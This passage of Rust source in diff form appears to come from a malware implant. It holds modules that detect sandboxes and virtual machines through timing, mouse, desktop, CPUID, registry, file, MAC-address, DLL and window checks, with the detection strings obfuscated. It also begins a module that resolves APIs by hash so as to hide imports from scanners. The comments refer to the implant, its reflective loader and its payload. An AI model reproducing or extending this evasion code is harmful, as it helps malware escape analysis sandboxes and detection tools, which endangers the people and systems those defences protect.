let st = dynapi::RegEnumKeyExW(
hk, idx,
name_buf.as_mut_ptr(), &mut sz,
ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),
);
if st != 0 {
break;
}
count += 1;
if count >= min_expected {
break;
}
idx += 1;
}
dynapi::RegCloseKey(hk);
count < min_expected
}
}
// ---------------------------------------------------------------------------
// MEDIUM/WEAK signals
// ---------------------------------------------------------------------------
static mut WINDOW_COUNT: u32 = 0;
unsafe extern "system" fn count_cb(_hwnd: usize, _lp: isize) -> i32 {
WINDOW_COUNT += 1;
if WINDOW_COUNT > 500 {
return 0;
}
1
}
/// Very few top-level windows => non-interactive session (service host,
/// headless sandbox). Real desktops accumulate many invisible top-levels.
pub fn window_count_low(threshold: u32) -> bool {
unsafe {
WINDOW_COUNT = 0;
dynapi::EnumWindows(count_cb as usize, 0);
WINDOW_COUNT < threshold
}
}
/// Screen resolution below common minimum for real usage.
pub fn resolution_anomaly() -> bool {
unsafe {
let w = dynapi::GetSystemMetrics(0); // SM_CXSCREEN
let h = dynapi::GetSystemMetrics(1); // SM_CYSCREEN
// Headless sandboxes often report tiny or zero geometry.
w < 1100 || h < 650 || w == 0 || h == 0
}
}
/// Mouse entropy over a short sampling window: a live session shows cursor
/// movement with direction changes. Idle legit machines also show none, so
/// this is weak and must be corroborated.
pub fn mouse_idle(samples: u32, interval_ms: u32) -> bool {
#[repr(C)]
struct Point { x: i32, y: i32 }
unsafe {
let mut last = Point { x: 0, y: 0 };
let mut moves = 0u32;
let mut reversals = 0u32;
let mut last_dx = 0i32;
let mut first = true;
for _ in 0..samples {
let mut p = Point { x: 0, y: 0 };
if dynapi::GetCursorPos(&mut p as *mut _ as *mut c_void) == 0 {
return false;
}
if first {
last = p;
first = false;
} else if p.x != last.x || p.y != last.y {
let dx = p.x - last.x;
if (dx > 0 && last_dx < 0) || (dx < 0 && last_dx > 0) {
reversals += 1;
}
last_dx = dx;
moves += 1;
last = p;
}
abi::Sleep(interval_ms);
}
// Human-like activity requires movement AND at least one reversal
// (curved paths). Pure linear glide is automation.
!(moves >= 2 && reversals >= 1)
}
}
/// Core audio service missing — headless/analysis images frequently strip it.
pub fn audio_service_missing() -> bool {
let p = wide(b"SYSTEM\\CurrentControlSet\\Services\\Audiosrv");
!unsafe { reg_key_exists(&p) }
}
// ---------------------------------------------------------------------------
// Aggregation with corroboration model
// ---------------------------------------------------------------------------
pub struct SbxVerdict {
/// Conclusive hardware/timer tampering — trust alone.
pub hard: bool,
/// Rare-on-clean-hosts signals.
pub strong: u32,
/// Common-noise signals, only meaningful with corroboration.
pub weak: u32,
/// Final computed suspicion score.
pub score: u32,
}
/// Run the full battery and compute a corroborated verdict.
///
/// Scoring:
/// - any hard signal → hard=true (caller treats as hostile immediately)
/// - score = strong*3 + (weak only if strong>0 else 0), capped
/// - identity marker counts as strong but adds +1 bonus weak-equivalent
/// because it correlates strongly with lab environments
pub fn verdict(mouse_samples: u32, mouse_interval_ms: u32) -> SbxVerdict {
let mut strong: u32 = 0;
let mut weak: u32 = 0;
// --- Hard layer ---
let hard = sleep_accelerated(1200)
|| timer_inconsistent()
|| kernel_sleep_accelerated(800);
// --- Strong layer ---
if identity_markers() {
strong += 1;
}
if desktop_activity_sparse() {
strong += 1;
}
if installed_programs_sparse(6) {
strong += 1;
}
// --- Weak layer ---
if window_count_low(12) {
weak += 1;
}
if resolution_anomaly() {
weak += 1;
}
if audio_service_missing() {
weak += 1;
}
// Mouse idle costs ~1-2s; run it last.
if mouse_idle(mouse_samples, mouse_interval_ms) {
weak += 1;
}
// Corroboration rule: weak signals are only trusted in the presence of
// at least one strong signal. This is the FP killer: a legit fresh PC
// might trip 2-3 weak signals but almost never a strong one alongside.
let effective_weak = if strong > 0 { weak } else { 0 };
let score = strong * 3 + effective_weak;
SbxVerdict { hard, strong, weak, score }
}
/// Cheap second-pass verification intended to run AFTER the implant's first
/// sleep cycle. Sandbox artifacts (accelerated sleeps, absent input) become
/// more pronounced over time; a second opinion reduces transient FPs.
pub fn verify_second_pass() -> SbxVerdict {
let mut strong: u32 = 0;
let mut weak: u32 = 0;
let hard = sleep_accelerated(900);
if desktop_activity_sparse() {
strong += 1;
}
// Long-window input absence with minimum uptime guard.
unsafe {
let now = abi::GetTickCount64();
if now > 15 * 60 * 1000 {
let mut li: [u32; 2] = [core::mem::size_of::<u32>() as u32 * 2, 0];
if dynapi::GetLastInputInfo(li.as_mut_ptr() as *mut c_void) != 0 {
let last = li[1] as u64;
if now.saturating_sub(last) > 20 * 60 * 1000 {
weak += 1;
}
}
}
}
let effective_weak = if strong > 0 { weak } else { 0 };
let score = strong * 3 + effective_weak;
SbxVerdict { hard, strong, weak, score }
}
@@ -0,0 +1,847 @@
//! Comprehensive anti-VM / anti-sandbox detection.
//!
//! Layered detection across many independent vectors; each returns a small
//! score contribution. A total above a threshold means the host is very likely
//! virtual or an automated analysis sandbox.
//!
//! Vectors implemented:
//! 1. CPUID hypervisor bit + vendor string (leaf 0x40000000)
//! 2. CPU brand string (leaves 0x80000002..4) — "Virtual", "KVM", etc.
//! 3. VMware backdoor I/O port (VMware-specific magic value in EBX/ECX)
//! 4. Instruction red pills — SIDT/SGDT/STR machine-specific values
//! 5. SMBIOS / firmware table strings
//! 6. Registry artifacts (VMware Tools, VBox Guest Additions, QEMU, Xen)
//! 7. Filesystem artifacts (tool binaries, driver files, pipe names)
//! 8. MAC address OUI prefixes (VMware/VBox/QEMU/Xen/Hyper-V/KVM vendors)
//! 9. Uptime anomaly (fresh snapshot = low uptime)
//! 10. Process count anomaly (sandbox VMs run few processes)
//! 11. User-input absence (no mouse movement, no keyboard input ever)
//! 12. Loaded DLL scan (vmguestlib.dll, vboxhook.dll, etc.)
//! 13. Window class/title scan (VBoxTrayToolWindow, VMware tool windows)
//! 14. Disk characteristics (fixed-drive volume name patterns)
//! 15. CPU core/RAM quirk checks
//! 16. Display driver + refresh rate checks
#![allow(dead_code)]
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use crate::abi;
use crate::dynapi;
use crate::gen;
use crate::obf;
// ---------------------------------------------------------------------------
// String helpers
// ---------------------------------------------------------------------------
fn lower(b: &[u8]) -> Vec<u8> {
b.iter().map(|c| c.to_ascii_lowercase()).collect()
}
fn contains(hay: &[u8], needle: &[u8]) -> bool {
if needle.is_empty() || hay.len() < needle.len() {
return false;
}
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
}
// ---------------------------------------------------------------------------
// 1-2. CPUID-based detection
// ---------------------------------------------------------------------------
#[inline]
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
let mut a = leaf;
let mut c = sub;
let mut d = 0u32;
let mut b = 0u32;
asm!(
"push rbx",
"cpuid",
"mov {tmp:e}, ebx",
"pop rbx",
inout("eax") a,
inout("ecx") c,
out("edx") d,
tmp = lateout(reg) b,
options(nostack, preserves_flags),
);
(a, b, c, d)
}
/// Hypervisor-present bit (leaf 1 ECX bit 31).
pub fn cpuid_hypervisor_bit() -> bool {
unsafe {
let (_, _, ecx, _) = cpuid(1, 0);
ecx & (1 << 31) != 0
}
}
/// Extended hypervisor vendor string via leaf 0x40000000 (EBX:ECX:EDX).
pub fn cpuid_hypervisor_vendor() -> Option<String> {
if !cpuid_hypervisor_bit() {
return None;
}
unsafe {
let (max_leaf, ebx, ecx, edx) = cpuid(0x4000_0000, 0);
if max_leaf == 0 {
return None;
}
let bytes: Vec<u8> = [
ebx.to_le_bytes(),
ecx.to_le_bytes(),
edx.to_le_bytes(),
]
.iter()
.flatten()
.copied()
.collect();
Some(String::from_utf8_lossy(&bytes).trim_end_matches('\0').to_string())
}
}
/// CPU brand string via extended leaves. Real CPUs say "Intel(R) Core..." /
/// "AMD Ryzen...". VMs often inject "Common KVM processor" etc.
pub fn cpuid_brand_suspicious() -> bool {
unsafe {
let (_, max_ext, _, _) = {
// leaf 0x80000000 returns max ext leaf in EAX
let r = cpuid(0x8000_0000, 0);
(r.0, r.0, r.2, r.3)
};
if max_ext < 0x8000_0004 {
return false;
}
let mut brand = Vec::with_capacity(48);
for leaf in [0x8000_0002u32, 0x8000_0003, 0x8000_0004] {
let (a, b, c, d) = cpuid(leaf, 0);
for v in [a, b, c, d] {
brand.extend_from_slice(&v.to_le_bytes());
}
}
let bl = lower(&brand);
let key: u8 = gen::K_VENDOR;
let bad: [(obf::Slot, u32); 6] = [
obf::sig(key, 0x6101, b"kvm"),
obf::sig(key, 0x6102, b"virtual"),
obf::sig(key, 0x6103, b"qemu"),
obf::sig(key, 0x6104, b"vmware"),
obf::sig(key, 0x6105, b"xen"),
obf::sig(key, 0x6106, b"hyper-v"),
];
const LENS: [usize; 6] = [3, 7, 4, 6, 3, 7];
for (i, s) in bad.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&bl, &plain[..LENS[i]]) {
return true;
}
}
false
}
}
// ---------------------------------------------------------------------------
// 3. VMware backdoor I/O port
// ---------------------------------------------------------------------------
/// VMware's backdoor: `in eax, dx` with DX=0x5658 ("VX") and EAX=0x564D5868
/// ("VMXh"). On real VMware, ECX returns the magic 'VMXh'. On bare metal this
/// raises SIGSEGV/#GP which we must catch — we can't easily do that from Rust
/// without SEH, so we only run this when the hypervisor bit is set anyway
/// (cheap and safe), making it a *refinement* rather than a primary signal.
pub fn vmware_backdoor_present() -> bool {
if !cpuid_hypervisor_bit() {
return false;
}
unsafe {
let magic: u32 = 0x564D_5868; // 'VMXh'
let port: u16 = 0x5658; // 'VX'
let ver_out: u32;
let magic_out: u32;
asm!(
"push rbx",
"mov ebx, {magic:e}",
"mov ecx, 0xA", // backdoor cmd: get version
"in eax, dx",
"mov {mo:e}, ebx",
"pop rbx",
magic = in(reg) magic,
mo = out(reg) magic_out,
inlateout("eax") magic => ver_out,
out("ecx") _,
in("dx") port,
options(nostack),
);
// VMware returns its version in EAX; EBX may echo the magic.
ver_out != magic || (magic_out & 0xFFFF_FFFF) == magic
}
}
// ---------------------------------------------------------------------------
// 4. Instruction red pills
// ---------------------------------------------------------------------------
/// SIDT returns the base of the Interrupt Descriptor Table. In VMware on Intel
/// the IDT base is commonly at 0xFFxxxxxx (above kernel range start), while on
/// bare metal it is usually lower. This is a weak heuristic; score it lightly.
pub fn sidt_red_pill() -> bool {
#[repr(C, packed(2))]
struct Descriptor {
limit: u16,
base: u64,
}
let mut d = Descriptor { limit: 0, base: 0 };
unsafe {
asm!(
"sidt [{}]",
in(reg) &mut d as *mut Descriptor,
options(nostack, preserves_flags),
);
}
// Common VMware-on-Intel signature.
(d.base >> 24) >= 0xFF && (d.base >> 32) == 0
}
/// SLDT (Store Local Descriptor Table). On bare metal LDT is usually 0; some
/// hypervisors leave a nonzero selector. Weak heuristic.
pub fn sldt_anomaly() -> bool {
let ldt: u16;
unsafe {
asm!("sldt {0:x}", out(reg) ldt, options(nostack, preserves_flags));
}
ldt != 0
}
/// STR (Store Task Register) — trampoline check used by some sandboxes.
pub fn str_anomaly(expected_low: u16) -> bool {
let tr: u16;
unsafe {
asm!("str {0:x}", out(reg) tr, options(nostack, preserves_flags));
}
// Windows usermode task register is typically 0x0040-ish under WoW or 0
// in x64. Values far outside normal ranges suggest instrumentation.
tr != expected_low && tr > 0x40
}
// ---------------------------------------------------------------------------
// 5. SMBIOS firmware strings
// ---------------------------------------------------------------------------
pub fn smbios_firmware_strings() -> bool {
const RSMB: u32 = 0x5253_4D42;
let size = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0) };
if size == 0 || size > 4 * 1024 * 1024 {
return false;
}
let mut buf = vec![0u8; size as usize];
let got = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size) };
if got == 0 {
return false;
}
buf.truncate(got as usize);
let bl = lower(&buf);
let key: u8 = gen::K_SMBIOS;
let bad: [(obf::Slot, u32); 12] = [
obf::sig(key, 0x2001, b"vmware"),
obf::sig(key, 0x2002, b"virtualbox"),
obf::sig(key, 0x2003, b"qemu"),
obf::sig(key, 0x2004, b"kvm"),
obf::sig(key, 0x2005, b"innotek"),
obf::sig(key, 0x2006, b"bochs"),
obf::sig(key, 0x2007, b"virtual machine"),
obf::sig(key, 0x2008, b"hyper-v"),
obf::sig(key, 0x2009, b"parallels"),
obf::sig(key, 0x200a, b"bhyve"),
obf::sig(key, 0x200b, b"xen"),
obf::sig(key, 0x200c, b"vbox"),
];
const LENS: [usize; 12] = [6, 10, 4, 3, 7, 5, 15, 7, 9, 5, 3, 4];
for (i, s) in bad.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&bl, &plain[..LENS[i]]) {
return true;
}
}
false
}
// ---------------------------------------------------------------------------
// 6. Registry artifacts
// ---------------------------------------------------------------------------
/// Check if a registry key exists under HKLM.
unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool {
let mut hk: usize = 0;
let status = dynapi::RegOpenKeyExW(
abi::HKEY_LOCAL_MACHINE,
subkey_wide.as_ptr(),
0,
abi::KEY_READ,
&mut hk,
);
if status == 0 {
dynapi::RegCloseKey(hk);
true
} else {
false
}
}
fn wide(s: &[u8]) -> Vec<u16> {
s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect()
}
pub fn registry_artifacts() -> u32 {
let mut hits: u32 = 0;
let key: u8 = gen::K_ENV;
let paths: [(obf::Slot, u32); 10] = [
// SOFTWARE\VMware, Inc.\VMware Tools
obf::sig(key, 0x4201, b"SOFTWARE\\VMware, Inc.\\VMware Tools"),
// SOFTWARE\Oracle\VirtualBox Guest Additions
obf::sig(key, 0x4202, b"SOFTWARE\\Oracle\\VirtualBox Guest Additions"),
// SYSTEM\ControlSet001\Services\VBoxGuest
obf::sig(key, 0x4203, b"SYSTEM\\ControlSet001\\Services\\VBoxGuest"),
// SYSTEM\ControlSet001\Services\VBoxMouse
obf::sig(key, 0x4204, b"SYSTEM\\ControlSet001\\Services\\VBoxMouse"),
// SYSTEM\ControlSet001\Services\VBoxSF
obf::sig(key, 0x4205, b"SYSTEM\\ControlSet001\\Services\\VBoxSF"),
// SYSTEM\ControlSet001\Services\VBoxVideo
obf::sig(key, 0x4206, b"SYSTEM\\ControlSet001\\Services\\VBoxVideo"),
// HARDWARE\ACPI\DSDT\VBOX__
obf::sig(key, 0x4207, b"HARDWARE\\ACPI\\DSDT\\VBOX__"),
// HARDWARE\ACPI\FADT\VBOX__
obf::sig(key, 0x4208, b"HARDWARE\\ACPI\\FADT\\VBOX__"),
// HARDWARE\Description\System\BIOS with SystemManufacturer
obf::sig(key, 0x4209, b"HARDWARE\\Description\\System\\BIOS"),
// SYSTEM\ControlSet001\Services\vmci
obf::sig(key, 0x420a, b"SYSTEM\\ControlSet001\\Services\\vmci"),
];
const LENS: [usize; 10] = [33, 41, 41, 41, 39, 41, 28, 28, 35, 38];
unsafe {
for (i, s) in paths.iter().enumerate() {
let raw = obf::dec_sig(key, s, LENS[i]);
let w = wide(&raw[..LENS[i]]);
if reg_key_exists(&w) {
hits += 1;
if hits >= 2 {
return hits;
}
}
}
// BIOS table: read SystemManufacturer + SystemProductName values.
let bios_key = wide(b"HARDWARE\\DESCRIPTION\\System\\BIOS");
if let Some(hk) = open(&bios_key) {
let val_names: [(obf::Slot, u32); 2] = [
obf::sig(gen::K_ENV, 0x4301, b"SystemManufacturer"),
obf::sig(gen::K_ENV, 0x4302, b"SystemProductName"),
];
const VLENS: [usize; 2] = [18, 17];
let mut buf = [0u8; 256];
for (i, vn) in val_names.iter().enumerate() {
let raw = obf::dec_sig(gen::K_ENV, vn, VLENS[i]);
let vw = wide(&raw[..VLENS[i]]);
let mut sz: u32 = buf.len() as u32;
let st = dynapi::RegQueryValueExW(
hk, vw.as_ptr(), ptr::null_mut(), ptr::null_mut(),
buf.as_mut_ptr(), &mut sz,
);
if st == 0 && sz > 0 {
let vl = lower(&buf[..sz as usize]);
let markers: [&[u8]; 6] =
[b"vmware", b"virtualbox", b"qemu", b"kvm", b"xen", b"microsoft corporation virtual"];
for m in markers {
if contains(&vl, m) {
hits += 1;
}
}
}
}
dynapi::RegCloseKey(hk);
}
}
hits
}
unsafe fn open(subkey_wide: &[u16]) -> Option<usize> {
let mut hk: usize = 0;
if dynapi::RegOpenKeyExW(
abi::HKEY_LOCAL_MACHINE,
subkey_wide.as_ptr(),
0,
abi::KEY_READ,
&mut hk,
) == 0
{
Some(hk)
} else {
None
}
}
// ---------------------------------------------------------------------------
// 7. Filesystem artifacts
// ---------------------------------------------------------------------------
const FILE_ATTRIBUTE_INVALID: u32 = 0xFFFF_FFFF;
unsafe fn file_exists(path_wide: &[u16]) -> bool {
abi::GetFileAttributesW(path_wide.as_ptr()) != FILE_ATTRIBUTE_INVALID
}
pub fn filesystem_artifacts() -> u32 {
let mut hits: u32 = 0;
let key: u8 = gen::K_ENV;
let files: [(obf::Slot, u32); 14] = [
obf::sig(key, 0x4401, b"C:\\Program Files\\VMware\\VMware Tools"),
obf::sig(key, 0x4402, b"C:\\Program Files\\Oracle\\VirtualBox Guest Additions"),
obf::sig(key, 0x4403, b"C:\\Windows\\System32\\drivers\\vmmouse.sys"),
obf::sig(key, 0x4404, b"C:\\Windows\\System32\\drivers\\vmhgfs.sys"),
obf::sig(key, 0x4405, b"C:\\Windows\\System32\\drivers\\vboxguest.sys"),
obf::sig(key, 0x4406, b"C:\\Windows\\System32\\drivers\\vboxmouse.sys"),
obf::sig(key, 0x4407, b"C:\\Windows\\System32\\vboxdisp.dll"),
obf::sig(key, 0x4408, b"C:\\Windows\\System32\\vboxhook.dll"),
obf::sig(key, 0x4409, b"C:\\Windows\\System32\\vboxmrxnp.dll"),
obf::sig(key, 0x440a, b"C:\\Windows\\System32\\drivers\\balloon.sys"),
obf::sig(key, 0x440b, b"C:\\Windows\\System32\\drivers\\netkvm.sys"),
obf::sig(key, 0x440c, b"C:\\Windows\\System32\\drivers\\pvpanic.sys"),
obf::sig(key, 0x440d, b"C:\\Program Files\\Parallels\\Parallels Tools"),
obf::sig(key, 0x440e, b"C:\\Windows\\System32\\prl_cc.exe"),
];
const LENS: [usize; 14] = [37, 51, 43, 42, 46, 46, 39, 38, 42, 44, 44, 44, 45, 36];
unsafe {
for (i, s) in files.iter().enumerate() {
let raw = obf::dec_sig(key, s, LENS[i]);
let w = wide(&raw[..LENS[i]]);
if file_exists(&w) {
hits += 1;
if hits >= 2 {
return hits;
}
}
}
}
hits
}
// ---------------------------------------------------------------------------
// 8. MAC address OUI prefixes
// ---------------------------------------------------------------------------
#[repr(C)]
struct IpAdapterAddresses {
_length: u32,
_if_index: u32,
next: *mut IpAdapterAddresses,
_adapter_name: *const u8,
_first_unicast: *mut c_void,
_first_anycast: *mut c_void,
_first_multicast: *mut c_void,
_dns_server: *mut c_void,
_dns_suffix: *mut u16,
_description: *mut u16,
_friendly_name: *mut u16,
physical_address: [u8; 8],
physical_address_length: u32,
_flags: u32,
}
/// Known VM/hypervisor OUI prefixes (first 3 bytes of MAC).
const VM_OUIS: [[u8; 3]; 12] = [
[0x00, 0x05, 0x69], // VMware
[0x00, 0x0C, 0x29], // VMware
[0x00, 0x1C, 0x14], // VMware
[0x00, 0x50, 0x56], // VMware
[0x08, 0x00, 0x27], // VirtualBox
[0x0A, 0x00, 0x27], // VirtualBox (alt)
[0x52, 0x54, 0x00], // QEMU/KVM
[0x00, 0x16, 0x3E], // Xen
[0x00, 0x1C, 0x42], // Parallels
[0x00, 0x03, 0xFF], // Hyper-V (Microsoft)
[0x00, 0x15, 0x5D], // Hyper-V
[0x02, 0x42, 0xAC], // Docker bridge (container/sandbox hint)
];
const AF_UNSPEC: u32 = 0;
const GAA_FLAG_INCLUDE_ALL_INTERFACES: u32 = 0x100;
const ERROR_BUFFER_OVERFLOW: u32 = 111;
pub fn mac_address_vm() -> bool {
unsafe {
let mut size: u32 = 0;
// First call to get required buffer size.
let rc = dynapi::GetAdaptersAddresses(
AF_UNSPEC,
GAA_FLAG_INCLUDE_ALL_INTERFACES,
ptr::null_mut(),
ptr::null_mut(),
&mut size,
);
if rc != ERROR_BUFFER_OVERFLOW || size == 0 {
return false;
}
let mut buf = vec![0u8; size as usize];
let head = buf.as_mut_ptr() as *mut IpAdapterAddresses;
let rc = dynapi::GetAdaptersAddresses(
AF_UNSPEC,
GAA_FLAG_INCLUDE_ALL_INTERFACES,
ptr::null_mut(),
head as *mut c_void,
&mut size,
);
if rc != 0 {
return false;
}
let mut cur = head;
while !cur.is_null() {
let a = &*cur;
let len = a.physical_address_length as usize;
if len >= 3 {
for oui in VM_OUIS.iter() {
if a.physical_address[0] == oui[0]
&& a.physical_address[1] == oui[1]
&& a.physical_address[2] == oui[2]
{
return true;
}
}
}
cur = a.next;
}
}
false
}
// ---------------------------------------------------------------------------
// 9. Uptime anomaly
// ---------------------------------------------------------------------------
/// Sandboxes frequently boot from a fresh snapshot minutes before detonation.
pub fn uptime_suspicious(max_minutes: u64) -> bool {
let ms = unsafe { abi::GetTickCount64() };
ms < max_minutes * 60 * 1000
}
// ---------------------------------------------------------------------------
// 10. Process-count anomaly
// ---------------------------------------------------------------------------
pub fn process_count_low(min_expected: usize) -> bool {
const TH32CS_SNAPPROCESS: u32 = 0x2;
unsafe {
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
return false;
}
#[repr(C)]
struct Pe32W {
dw_size: u32,
_pad: [u32; 7],
sz_exe_file: [u16; 260],
}
let mut e: Pe32W = core::mem::zeroed();
e.dw_size = core::mem::size_of::<Pe32W>() as u32;
let mut count: usize = 0;
if abi::Process32FirstW(snap, &mut e as *mut _ as *mut c_void) != 0 {
loop {
count += 1;
if count > min_expected {
break;
}
if abi::Process32NextW(snap, &mut e as *mut _ as *mut c_void) == 0 {
break;
}
}
}
abi::CloseHandle(snap);
count <= min_expected
}
}
// ---------------------------------------------------------------------------
// 11. User input absence
// ---------------------------------------------------------------------------
#[repr(C)]
struct LastInputInfo {
cb_size: u32,
dw_time: u32,
}
/// No keyboard/mouse input within N ms => nobody is using this machine =>
/// likely an automated sandbox. Only meaningful when uptime is long enough
/// (a freshly booted real PC also has no input yet).
pub fn no_user_input(window_ms: u32, min_uptime_ms: u64) -> bool {
unsafe {
let now = abi::GetTickCount64();
if now < min_uptime_ms {
return false; // too early to judge
}
let mut li = LastInputInfo {
cb_size: core::mem::size_of::<LastInputInfo>() as u32,
dw_time: 0,
};
if dynapi::GetLastInputInfo(&mut li as *mut _ as *mut c_void) == 0 {
return false;
}
let last = li.dw_time as u64;
// GetTickCount wraps ~49 days; ignore wrap edge case for simplicity.
now.saturating_sub(last) > window_ms as u64
}
}
// ---------------------------------------------------------------------------
// 12. Loaded module scan
// ---------------------------------------------------------------------------
pub fn vm_dlls_loaded() -> bool {
const TH32CS_SNAPMODULE: u32 = 0x8;
unsafe {
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
return false;
}
#[repr(C)]
struct Me32W {
dw_size: u32,
_mid: [u32; 7],
_base: usize,
sz_module: [u16; 256],
sz_exe_path: [u16; 260],
}
let mut me: Me32W = core::mem::zeroed();
me.dw_size = core::mem::size_of::<Me32W>() as u32;
let key: u8 = gen::K_TOKEN;
let bad: [(obf::Slot, u32); 8] = [
obf::sig(key, 0x4501, b"vmguestlib"),
obf::sig(key, 0x4502, b"vboxhook"),
obf::sig(key, 0x4503, b"vboxmrxnp"),
obf::sig(key, 0x4504, b"vmswitch"),
obf::sig(key, 0x4505, b"sandboxie"),
obf::sig(key, 0x4506, b"dbghelp"),
obf::sig(key, 0x4507, b"api_log"),
obf::sig(key, 0x4508, b"dir_watch"),
];
const LENS: [usize; 8] = [11, 8, 10, 8, 9, 7, 8, 9];
let mut found = false;
if abi::Module32FirstW(snap, &mut me as *mut _ as *mut c_void) != 0 {
loop {
let mut name = Vec::with_capacity(512);
for ch in me.sz_module.iter() {
if *ch == 0 { break; }
name.push(*ch as u8);
}
let nl = lower(&name);
for (i, s) in bad.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&nl, &plain[..LENS[i]]) {
found = true;
break;
}
}
if found { break; }
if abi::Module32NextW(snap, &mut me as *mut _ as *mut c_void) == 0 {
break;
}
}
}
abi::CloseHandle(snap);
found
}
}
// ---------------------------------------------------------------------------
// 13. Window title/class scan
// ---------------------------------------------------------------------------
static mut WINDOW_HIT: bool = false;
/// EnumWindows callback: check window text + class against encrypted signatures.
unsafe extern "system" fn enum_cb(hwnd: usize, _lparam: isize) -> i32 {
let mut text = [0u16; 256];
let mut cls = [0u16; 256];
dynapi::GetWindowTextW(hwnd, text.as_mut_ptr(), 256);
dynapi::GetClassNameW(hwnd, cls.as_mut_ptr(), 256);
let tlen = text.iter().position(|&c| c == 0).unwrap_or(0);
let clen = cls.iter().position(|&c| c == 0).unwrap_or(0);
let tb: Vec<u8> = text[..tlen].iter().map(|&c| c as u8).collect();
let cb: Vec<u8> = cls[..clen].iter().map(|&c| c as u8).collect();
let key: u8 = gen::K_DISPLAY;
let bad: [(obf::Slot, u32); 6] = [
obf::sig(key, 0x5501, b"vboxtraytoolwindow"),
obf::sig(key, 0x5502, b"vboxtray"),
obf::sig(key, 0x5503, b"vmwareuser"),
obf::sig(key, 0x5504, b"vmwaretray"),
obf::sig(key, 0x5505, b"paratools"),
obf::sig(key, 0x5506, b"cuckoo sandbox"),
];
const LENS: [usize; 6] = [18, 8, 11, 10, 9, 13];
let tl = lower(&tb);
let cl = lower(&cb);
for (i, s) in bad.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
let p = &plain[..LENS[i]];
if contains(&tl, p) || contains(&cl, p) {
WINDOW_HIT = true;
return 0; // stop enumeration
}
}
1 // continue
}
pub fn vm_tool_windows() -> bool {
unsafe {
WINDOW_HIT = false;
dynapi::EnumWindows(enum_cb as usize, 0);
WINDOW_HIT
}
}
// ---------------------------------------------------------------------------
// 14. Disk / volume characteristics
// ---------------------------------------------------------------------------
/// Fixed drives whose volume label matches common VM defaults
/// ("System Reserved" alone is fine; but "VBOX", "CDROM" etc are not).
pub fn disk_artifacts() -> bool {
let key: u8 = gen::K_SMBIOS;
let labels: [(obf::Slot, u32); 5] = [
obf::sig(key, 0x5601, b"vbox"),
obf::sig(key, 0x5602, b"cdrom"),
obf::sig(key, 0x5603, b"ubuntu"),
obf::sig(key, 0x5604, b"debian"),
obf::sig(key, 0x5605, b"kali"),
];
const LENS: [usize; 5] = [4, 5, 6, 6, 4];
// DRIVE_FIXED = 3
const DRIVE_FIXED: u32 = 3;
for letter in [b'C', b'D', b'E'] {
let root: Vec<u8> = vec![letter, b':', b'\\'];
let rw = wide(&root);
unsafe {
if abi::GetDriveTypeW(rw.as_ptr()) != DRIVE_FIXED {
continue;
}
let mut vol = [0u16; 128];
let mut serial: u32 = 0;
let ok = abi::GetVolumeInformationW(
rw.as_ptr(),
vol.as_mut_ptr(),
128,
&mut serial,
ptr::null_mut(),
ptr::null_mut(),
ptr::null_mut(),
0,
);
if ok == 0 {
continue;
}
let vlen = vol.iter().position(|&c| c == 0).unwrap_or(0);
let vb: Vec<u8> = vol[..vlen].iter().map(|&c| c as u8).collect();
let vl = lower(&vb);
for (i, s) in labels.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&vl, &plain[..LENS[i]]) {
return true;
}
}
}
}
false
}
// ---------------------------------------------------------------------------
// Score aggregation
// ---------------------------------------------------------------------------
/// Run all anti-VM vectors and return a cumulative score.
/// Higher = more suspicious. Caller applies threshold.
pub fn score() -> u32 {
let mut s: u32 = 0;
// Primary signals (high weight).
if cpuid_hypervisor_bit() {
s += 3;
}
if smbios_firmware_strings() {
s += 3;
}
if mac_address_vm() {
s += 3;
}
if registry_artifacts() >= 2 {
s += 3;
}
if filesystem_artifacts() >= 2 {
s += 3;
}
// Secondary signals (medium weight).
if let Some(vendor) = cpuid_hypervisor_vendor() {
let vl = lower(vendor.as_bytes());
for m in [b"vmware".as_slice(), b"vbox".as_slice(), b"kvm".as_slice(), b"qemu".as_slice()] {
if contains(&vl, m) {
s += 2;
break;
}
}
// VMware backdoor port: only safe to probe when a hypervisor is
// already known present (avoids #GP on bare metal).
if contains(&vl, b"vmware") && vmware_backdoor_present() {
s += 2;
}
}
if cpuid_brand_suspicious() {
s += 2;
}
if vm_dlls_loaded() {
s += 2;
}
if vm_tool_windows() {
s += 2;
}
// Tertiary signals (low weight; individually noisy, collectively telling).
if uptime_suspicious(20) {
s += 1;
}
if process_count_low(30) {
s += 1;
}
if no_user_input(120_000, 10 * 60 * 1000) {
s += 1;
}
if disk_artifacts() {
s += 1;
}
// Instruction-level heuristics (very weak individually).
if s >= 2 {
// Only refine when other signals exist, to avoid FP on bare metal.
if sidt_red_pill() {
s += 1;
}
if sldt_anomaly() {
s += 1;
}
}
s
}
@@ -0,0 +1,265 @@
//! Runtime API resolution by hash — no import table entry needed.
//!
//! Many analysis tools triage an implant by its static import table. This module
//! resolves a handful of critical NT/K32 APIs at runtime by walking the PEB
//! module list and scanning export names with a rotating hash, exactly like the
//! reflective loader does. The guard never needs those APIs to appear in its
//! imports, so a scanner sees a much quieter PE.
//!
//! This is intentionally additive: the payload *already* worked via its normal
//! import table (fixed up by the reflective loader). For the guard, resolving a
//! few crypto/VM/debug APIs by hash lets us probe deeper without declaring them.
use core::ffi::c_void;
use core::ptr;
use crate::abi;
#[inline(always)]
fn ror1(v: u32) -> u32 {
v.wrapping_shr(1) | v.wrapping_shl(31)
}
